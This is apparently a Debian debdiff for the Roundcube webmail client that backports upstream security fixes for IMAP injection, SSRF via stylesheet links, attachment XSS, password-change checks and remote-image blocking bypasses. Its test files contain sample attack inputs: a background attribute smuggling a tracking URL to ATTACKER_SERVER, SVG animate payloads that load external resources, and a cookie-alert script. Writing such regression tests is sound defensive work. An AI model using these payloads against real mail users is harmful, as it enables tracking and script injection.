@@ -11136,7 +11126,7 @@
          $washed = $this->cleanupResult($washer->wash($html));
  
          $this->assertSame($washed, 'HTML');
-@@ -756,7 +761,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -777,7 +782,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
       */
      function test_missing_tags()
      {
@@ -11145,7 +11135,7 @@
  
          $html   = '<head></head>First line<br />Second line';
          $washed = $washer->wash($html);
-@@ -798,7 +803,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -819,7 +824,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      {
          $html = '<p><![CDATA[<script>alert(document.cookie)</script>]]></p>';
  
@@ -11154,7 +11144,7 @@
          $washed = $washer->wash($html);
  
          $this->assertTrue(strpos($washed, '<script>') === false, "CDATA content");
-@@ -810,7 +815,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -831,7 +836,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
      function test_resolve_base()
      {
          $html = file_get_contents(TESTS_DIR . 'src/htmlbase.txt');
@@ -11163,7 +11153,7 @@
  
          $this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img1\.gif"|', $html, "URI base resolving [1]");
          $this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img2\.gif"|', $html, "URI base resolving [2]");
-@@ -856,7 +861,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -877,7 +882,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
    <tr><td></td></tr>
  </table>';
  
diff -Nru roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch
--- roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch	2026-03-20 18:54:25.000000000 +0100
@@ -218,10 +218,10 @@
  require INSTALL_PATH . 'program/include/iniset.php';
  
 diff --git a/program/include/iniset.php b/program/include/iniset.php
-index 6f9946e..c4ab39f 100644
+index 106f6d0..4dc4937 100644
 --- a/program/include/iniset.php
 +++ b/program/include/iniset.php
-@@ -28,7 +28,7 @@ define('RCMAIL_VERSION', '1.6-git');
+@@ -30,7 +30,7 @@ define('RCMAIL_VERSION', '1.6-git');
  define('RCMAIL_START', microtime(true));
  
  if (!defined('INSTALL_PATH')) {
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch	1970-01-01 01:00:00.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch	2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,53 @@
+From: Aleksander Machniak <alec at alec.pl>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin: https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+---
+ CHANGELOG.md                    | 4 ++++
+ program/actions/mail/search.php | 8 ++++----
+ 2 files changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/CHANGELOG.md b/CHANGELOG.md
+index 86afc96..f7ac11d 100644
+--- a/CHANGELOG.md
++++ b/CHANGELOG.md
+@@ -2,6 +2,10 @@
+ 
+ ## Unreleased
+ 
++- Fix regression where mail search would fail on non-ascii search criteria (#10121)
++
++## Release 1.6.14
++
+ - Fix Postgres connection using IPv6 address (#10104)
+ - Security: Fix pre-auth arbitrary file write via unsafe deserialization in redis/memcache session handler
+ - Security: Fix bug where a password could get changed without providing the old password
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+         // add list filter string
+         $search_str = $filter && $filter != 'ALL' ? $filter : '';
+ 
++        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
++        // to inject extra commands, so we remove these.
++        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+         if ($search_interval = self::search_interval_criteria($interval)) {
+             $search_str .= ' ' . $search_interval;
+         }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends rcmail_action_mail_index
+         $sort_column = self::sort_column();
+         $sort_order  = self::sort_order();
+ 
+-        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+-        // to inject extra commands, so we remove these.
+-        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+         // set message set for already stored (but incomplete) search request
+         if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
+             $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
--- roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch	2026-03-20 18:54:25.000000000 +0100
@@ -9,7 +9,7 @@
  1 file changed, 1 insertion(+)
 
 diff --git a/program/lib/Roundcube/rcube_db.php b/program/lib/Roundcube/rcube_db.php
-index 7384c98..e2fbe1a 100644
+index 3d38577..7955a92 100644
 --- a/program/lib/Roundcube/rcube_db.php
 +++ b/program/lib/Roundcube/rcube_db.php
 @@ -81,6 +81,7 @@ class rcube_db
diff -Nru roundcube-1.6.13+dfsg/debian/patches/series roundcube-1.6.14+dfsg/debian/patches/series
--- roundcube-1.6.13+dfsg/debian/patches/series	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/series	2026-03-20 18:54:25.000000000 +0100
@@ -20,3 +20,5 @@
 Free-enchant-dictionary-resources.patch
 Fix-FTBFS-with-phpunit-11.patch
 Fix-flaky-test.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
diff -Nru roundcube-1.6.13+dfsg/debian/patches/update-composer.patch roundcube-1.6.14+dfsg/debian/patches/update-composer.patch
--- roundcube-1.6.13+dfsg/debian/patches/update-composer.patch	2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/update-composer.patch	2026-03-20 18:54:25.000000000 +0100
@@ -14,14 +14,14 @@
 Last-Update: 2021-07-06
 Bug-Debian: https://bugs.debian.org/817792
 ---
- composer.json-dist | 25 ++++++++++++-------------
- 1 file changed, 12 insertions(+), 13 deletions(-)
+ composer.json-dist | 27 +++++++++++++--------------
+ 1 file changed, 13 insertions(+), 14 deletions(-)
 
 diff --git a/composer.json-dist b/composer.json-dist
-index c8cf3f7..ca3de26 100644
+index b9140e3..1807004 100644
 --- a/composer.json-dist
 +++ b/composer.json-dist
-@@ -10,24 +10,23 @@
+@@ -10,25 +10,24 @@
      ],
      "require": {
          "php": ">=7.3.0",
@@ -35,14 +35,16 @@
 -        "roundcube/rtf-html-php": "~2.1",
 -        "masterminds/html5": "~2.7.0",
 -        "bacon/bacon-qr-code": "^2.0.0",
--        "guzzlehttp/guzzle": "^7.3.0"
+-        "guzzlehttp/guzzle": "^7.3.0",
+-        "mlocati/ip-lib": "^1.22.0"
 +        "pear-pear.php.net/auth_sasl": ">=1.1.0",
 +        "pear-pear.php.net/mail_mime": ">=1.10.0",
 +        "pear-pear.php.net/net_smtp": ">=1.10.0",
 +        "pear-pear.php.net/net_sieve": ">=1.4.5",
 +        "roundcube/plugin-installer": ">=0.3.1",
 +        "masterminds/html5": ">=2.7.0",
-+        "guzzlehttp/guzzle": ">=7.3.0"
++        "guzzlehttp/guzzle": ">=7.3.0",
++        "mlocati/ip-lib": ">=1.22.0"
      },
      "require-dev": {
          "phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/plugins/password/password.php roundcube-1.6.14+dfsg/plugins/password/password.php
--- roundcube-1.6.13+dfsg/plugins/password/password.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/plugins/password/password.php	2026-03-18 12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
         else {
             switch ($type) {
             case PASSWORD_COMPARE_CURRENT:
-                $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
+                $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
                 break;
             case PASSWORD_COMPARE_NEW:
-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
+                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
                 break;
             default:
                 $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/index.php roundcube-1.6.14+dfsg/program/actions/mail/index.php
--- roundcube-1.6.13+dfsg/program/actions/mail/index.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/index.php	2026-03-18 12:35:19.000000000 +0100
@@ -1274,7 +1274,7 @@
         if (isset($attrib['href'])) {
             $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']);
 
-            if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
+            if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
                 $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
                 $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
                 $attrib['href'] = $rcmail->url([
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/search.php roundcube-1.6.14+dfsg/program/actions/mail/search.php
--- roundcube-1.6.13+dfsg/program/actions/mail/search.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/search.php	2026-03-18 12:35:19.000000000 +0100
@@ -71,6 +71,10 @@
         $sort_column = self::sort_column();
         $sort_order  = self::sort_order();
 
+        // We pass the filter as-is into IMAP SEARCH command. A newline could be used
+        // to inject extra commands, so we remove these.
+        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+
         // set message set for already stored (but incomplete) search request
         if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) {
             $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/send.php roundcube-1.6.14+dfsg/program/actions/mail/send.php
--- roundcube-1.6.13+dfsg/program/actions/mail/send.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/send.php	2026-03-18 12:35:19.000000000 +0100
@@ -281,6 +281,9 @@
         }
 
         if ($savedraft) {
+            // Sanitize the IMAP SEARCH input
+            $message_id = preg_replace('/[\r\n]+/', '', $message_id);
+
             // remember new draft-uid ($saved could be an UID or true/false here)
             if ($saved && is_bool($saved)) {
                 $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id);
diff -Nru roundcube-1.6.13+dfsg/program/actions/utils/modcss.php roundcube-1.6.14+dfsg/program/actions/utils/modcss.php
--- roundcube-1.6.13+dfsg/program/actions/utils/modcss.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/utils/modcss.php	2026-03-18 12:35:19.000000000 +0100
@@ -47,7 +47,7 @@
         $ctype  = null;
 
         try {
-            $client   = rcube::get_instance()->get_http_client();
+            $client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
             $response = $client->get($realurl);
 
             if (!empty($response)) {
diff -Nru roundcube-1.6.13+dfsg/program/include/iniset.php roundcube-1.6.14+dfsg/program/include/iniset.php
--- roundcube-1.6.13+dfsg/program/include/iniset.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/iniset.php	2026-03-18 12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
 <?php
 
-/**
+use GuzzleHttp\Cookie\FileCookieJar;
+
+/*
  +-----------------------------------------------------------------------+
  | This file is part of the Roundcube Webmail client                     |
  |                                                                       |
@@ -80,6 +82,13 @@
 // register autoloader for rcmail app classes
 spl_autoload_register('rcmail_autoload');
 
+// disable use of dangerous dependencies
+spl_autoload_register(static function ($classname) {
+    if ($classname === FileCookieJar::class) {
+        throw new \Exception("{$classname} is forbidden for security reasons.");
+    }
+}, true, true);
+
 /**
  * PHP5 autoloader routine for dynamic class loading
  */
diff -Nru roundcube-1.6.13+dfsg/program/include/rcmail_action.php roundcube-1.6.14+dfsg/program/include/rcmail_action.php
--- roundcube-1.6.13+dfsg/program/include/rcmail_action.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/rcmail_action.php	2026-03-18 12:35:19.000000000 +0100
@@ -691,6 +691,9 @@
             header('Content-Type: ' . $file['mimetype']);
             header('Content-Length: ' . $file['size']);
 
+            // Use strict security policy to make sure no javascript is executed
+            header("Content-Security-Policy: script-src 'none'");
+
             if (isset($file['data']) && is_string($file['data'])) {
                 echo $file['data'];
             }
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php	2026-03-18 12:35:19.000000000 +0100
@@ -70,6 +70,11 @@
         }
 
         if (isset($dsn['hostspec'])) {
+            // Use IPv6 address in brackets
+            if (strpos($dsn['hostspec'], ':') !== false) {
+                $dsn['hostspec'] = '[' . $dsn['hostspec'] . ']';
+            }
+
             $params[] = 'host=' . $dsn['hostspec'];
         }
 
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php	2026-03-18 12:35:19.000000000 +0100
@@ -1323,9 +1323,9 @@
         }
 
         if ($parsed['protocol'] == 'tcp' && strlen($proto_opts)) {
-            $parsed['hostspec'] = $proto_opts;
-        }
-        else if ($parsed['protocol'] == 'unix') {
+            // Remove IPv6 brakets
+            $parsed['hostspec'] = trim($proto_opts, '[]');
+        } elseif ($parsed['protocol'] == 'unix') {
             $parsed['socket'] = $proto_opts;
         }
 
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php	2026-03-18 12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
 <?php
 
-/**
+use IPLib\Factory;
+
+/*
  +-----------------------------------------------------------------------+
  | This file is part of the Roundcube Webmail client                     |
  |                                                                       |
@@ -420,6 +422,48 @@
     }
 
     /**
+     * Check if an URL point to a local network location.
+     *
+     * @param string $url
+     *
+     * @return bool
+     */
+    public static function is_local_url($url)
+    {
+        $host = parse_url($url, \PHP_URL_HOST);
+
+        if (is_string($host)) {
+            // TODO: This is pretty fast, but a single message can contain multiple links
+            // to the same target, maybe we should do some in-memory caching.
+            if ($address = Factory::parseAddressString($host = trim($host, '[]'))) {
+                $nets = [
+                    '127.0.0.0/8',    // loopback
+                    '10.0.0.0/8',     // RFC1918
+                    '172.16.0.0/12',  // RFC1918
+                    '192.168.0.0/16', // RFC1918
+                    '169.254.0.0/16', // link-local / cloud metadata
+                    '::1/128',
+                    'fc00::/7',
+                ];
+
+                foreach ($nets as $net) {
+                    $range = Factory::parseRangeString($net);
+                    if ($range->contains($address)) {
+                        return true;
+                    }
+                }
+
+                return false;
+            }
+
+            // FIXME: Should we accept any non-fqdn hostnames?
+            return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
+        }
+
+        return false;
+    }
+
+    /**
      * Replace all css definitions with #container [def]
      * and remove css-inlined scripting, make position style safe
      *
@@ -558,7 +602,7 @@
             if ($property == 'page') {
                 // Remove 'page' attributes (#7604)
                 continue;
-            } elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) {
+            } elseif ($property == 'position' && stripos($value, 'fixed') !== false) {
                 // Convert position:fixed to position:absolute (#5264)
                 $value = 'absolute';
             } elseif (preg_match('/expression|image-set/i', $value)) {
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php	2026-03-18 12:35:19.000000000 +0100
@@ -393,7 +393,7 @@
         }
 
         if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
-            if (!empty($this->config['allow_remote'])) {
+            if (!empty($this->config['allow_remote']) || rcube_utils::is_local_url($uri)) {
                 return $uri;
             }
 
@@ -427,6 +427,11 @@
                 return 'data:image/' . $type . ',' . base64_encode($svg);
             }
 
+            // At this point we allow only valid base64 images
+            if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
+                return '';
+            }
+
             return $uri;
         }
     }
@@ -504,22 +509,22 @@
      * Do it in case-insensitive manner.
      *
      * @param DOMElement $node       The element
-     * @param string     $attr_name  The attribute name
-     * @param string     $attr_value The attribute value to find
+     * @param string     $attr_value The attribute value to find (regexp)
      *
      * @return bool True if the specified attribute exists and has the expected value
      */
     private static function attribute_value($node, $attr_name, $attr_value)
     {
         $attr_name = strtolower($attr_name);
-        $attr_value = strtolower($attr_value);
 
         foreach ($node->attributes as $name => $attr) {
             if (strtolower($name) === $attr_name) {
+                $val = trim($attr->nodeValue);
                 // Read the attribute name, remove the namespace (e.g. xlink:href => href)
-                $val = strtolower(trim($attr->nodeValue));
-                $val = trim(preg_replace('/^.*:/', '', $val));
-                if ($attr_value === $val) {
+                if ($attr_name === 'attributename') {
+                    $val = trim(preg_replace('/^.*:/', '', $val));
+                }
+                if (preg_match($attr_value, $val)) {
                     return true;
                 }
             }
@@ -529,6 +534,27 @@
     }
 
     /**
+     * Check if the node is an insecure element
+     *
+     * @param \DOMElement $node
+     */
+    private static function is_insecure_tag($node)
+    {
+        $tagName = strtolower($node->nodeName);
+
+        if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) {
+            return false;
+        }
+
+        if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
+            return true;
+        }
+
+        return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i')
+            && self::attribute_value($node, 'values', '/url\(/i');
+    }
+
+    /**
      * The main loop that recurse on a node tree.
      * It output only allowed tags with allowed attributes and allowed inline styles
      *
@@ -579,10 +605,9 @@
 
                     $node->setAttribute('href', (string) $uri);
                 }
-                else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
-                    && self::attribute_value($node, 'attributename', 'href')
-                ) {
+                else if (self::is_insecure_tag($node)) {
                     // Insecure svg tags
+                    // TODO: We really should use wash_attribs()/wash_uri() for these cases
                     if ($this->config['add_comments']) {
                         $dump .= "<!-- {$tagName} blocked -->";
                     }
diff -Nru roundcube-1.6.13+dfsg/public_html/plugins/password/password.php roundcube-1.6.14+dfsg/public_html/plugins/password/password.php
--- roundcube-1.6.13+dfsg/public_html/plugins/password/password.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/public_html/plugins/password/password.php	2026-03-18 12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
         else {
             switch ($type) {
             case PASSWORD_COMPARE_CURRENT:
-                $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null;
+                $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null;
                 break;
             case PASSWORD_COMPARE_NEW:
-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null;
+                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null;
                 break;
             default:
                 $result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php	2026-03-18 12:35:19.000000000 +0100
@@ -9,14 +9,16 @@
  */
 class Framework_DBMysql extends PHPUnit\Framework\TestCase
 {
-
-    /**
-     * Class constructor
-     */
-    function test_class()
+    public function test_dsn_string()
     {
-        $object = new rcube_db_mysql('test');
+        $db = new \rcube_db_mysql('test');
+
+        $result = $db->parse_dsn('mysql://user:pass@[fd00:3::11]:3306/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('mysql:dbname=test;host=[fd00:3::11];port=3306;charset=utf8mb4', $dsn);
 
-        $this->assertInstanceOf('rcube_db_mysql', $object, "Class constructor");
+        $result = $db->parse_dsn('mysql://user:pass@[::1]/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('mysql:dbname=test;host=[::1];charset=utf8mb4', $dsn);
     }
 }
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php	2026-03-18 12:35:19.000000000 +0100
@@ -90,5 +90,13 @@
         $dsn = $db->parse_dsn("pgsql://user@unix(/var/run/postgresql)/roundcubemail?sslmode=verify-full");
         $result = invokeMethod($db, 'dsn_string', [$dsn]);
         $this->assertSame("pgsql:host=/var/run/postgresql;dbname=roundcubemail;sslmode=verify-full", $result);
+
+        $result = $db->parse_dsn('pgsql://user:pass@[fd00:3::11]:5432/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('pgsql:host=fd00:3::11;port=5432;dbname=test', $dsn);
+
+        $result = $db->parse_dsn('pgsql://user:pass@[::1]/test');
+        $dsn = invokeMethod($db, 'dsn_string', [$result]);
+        $this->assertSame('pgsql:host=::1;dbname=test', $dsn);
     }
 }
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DB.php roundcube-1.6.14+dfsg/tests/Framework/DB.php
--- roundcube-1.6.13+dfsg/tests/Framework/DB.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DB.php	2026-03-18 12:35:19.000000000 +0100
@@ -199,7 +199,7 @@
         $this->assertSame('mysql', $result['phptype']);
         $this->assertSame('user', $result['username']);
         $this->assertSame('pass', $result['password']);
-        $this->assertSame('[fd00:3::11]', $result['hostspec']);
+        $this->assertSame('fd00:3::11', $result['hostspec']);
         $this->assertSame('3306', $result['port']);
         $this->assertSame('roundcubemail', $result['database']);
 
@@ -208,7 +208,7 @@
         $this->assertSame('mysql', $result['phptype']);
         $this->assertSame('user', $result['username']);
         $this->assertSame('pass', $result['password']);
-        $this->assertSame('[::1]', $result['hostspec']);
+        $this->assertSame('::1', $result['hostspec']);
         $this->assertTrue(!array_key_exists('port', $result));
         $this->assertSame('roundcubemail', $result['database']);
 
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Utils.php roundcube-1.6.14+dfsg/tests/Framework/Utils.php
--- roundcube-1.6.13+dfsg/tests/Framework/Utils.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Utils.php	2026-03-18 12:35:19.000000000 +0100
@@ -280,6 +280,9 @@
         $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 0;', 'rcmbody');
         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)');
 
+        $mod = \rcube_utils::mod_css_styles('.test { position: fixed !important; }', 'rcmbody');
+        $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)');
+
         // allow data URIs with images (#5580)
         $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody');
         $this->assertStringContainsString("#rcmbody { background-image: url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
@@ -554,6 +557,40 @@
     }
 
     /**
+     * Test is_local_url()
+     *
+     * @dataProvider provide_is_local_url_cases
+     */
+    #[DataProvider('provide_is_local_url_cases')]
+    public function test_is_local_url($input, $output)
+    {
+        $this->assertSame($output, \rcube_utils::is_local_url($input));
+    }
+
+    /**
+     * Test-Cases for is_local_url() test
+     */
+    public static function provide_is_local_url_cases(): iterable
+    {
+        return [
+            // Local hosts
+            ['https://127.0.0.1', true],
+            ['https://10.1.1.1', true],
+            ['https://172.16.0.1', true],
+            ['https://192.168.0.100', true],
+            ['https://169.254.0.200', true],
+            ['http://[fc00::1]', true],
+            ['ftp://[::1]:8080', true],
+            ['//127.0.0.1', true],
+            ['http://localhost', true],
+            ['http://localhost.localdomain', true],
+            // Non-local hosts
+            ['http://[2001:470::76:0:0:0:2]', false],
+            ['http://domain.tld', false],
+        ];
+    }
+
+    /**
      * rcube:utils::strtotime()
      */
     function test_strtotime()
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Washtml.php roundcube-1.6.14+dfsg/tests/Framework/Washtml.php
--- roundcube-1.6.13+dfsg/tests/Framework/Washtml.php	2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Washtml.php	2026-03-18 12:35:19.000000000 +0100
@@ -262,12 +262,19 @@
         $washer = new rcube_washtml(['html_elements' => ['body']]);
         $washed = $washer->wash($html);
 
-        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute");
-        $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute");
-        $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute");
-        $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute");
-        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute");
-        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute");
+        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute');
+        $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute');
+        $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute');
+        $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute');
+        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute');
+        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute');
+
+        $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
+
+        $washer = new \rcube_washtml(['html_elements' => ['body']]);
+        $washed = $washer->wash($html);
+
+        $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background');
     }
 
     /**
@@ -500,6 +507,20 @@
                 '<html><svg><defs><filter><feImage xlink:href="http://external.site"/></filter></defs></html>',
                 '<svg><defs><filter><feImage x-washed="xlink:href"></feImage></filter></defs></svg>',
             ],
+            [
+                '<svg><animate attributeName="mask" values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
+            [
+                '<svg><animate attributeName="mask" values="none;url(https://external.site);url(https://external.site)"'
+                    . ' repeatCount="indefinite" dur="1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
+            [
+                '<svg><animate attributeName="cursor" attributeType="CSS" values="url(https://external.site),auto"'
+                    . ' feel="freeze" dur="1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
         ];
     }
 
-------------- next part --------------
diffstat for roundcube-1.6.5+dfsg roundcube-1.6.5+dfsg

 changelog                                                               |   22 +
 patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch            |   61 +++
 patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch             |   42 ++
 patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch |  164 ++++++++++
 patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch                |   26 +
 patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch |   33 ++
 patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch |   40 ++
 patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch |   43 ++
 patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch |   38 ++
 patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch |   60 +++
 patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch |  112 ++++++
 patches/series                                                          |   10 
 12 files changed, 651 insertions(+)

diff -Nru roundcube-1.6.5+dfsg/debian/changelog roundcube-1.6.5+dfsg/debian/changelog
--- roundcube-1.6.5+dfsg/debian/changelog	2026-02-11 12:05:21.000000000 +0100
+++ roundcube-1.6.5+dfsg/debian/changelog	2026-03-20 19:15:19.000000000 +0100
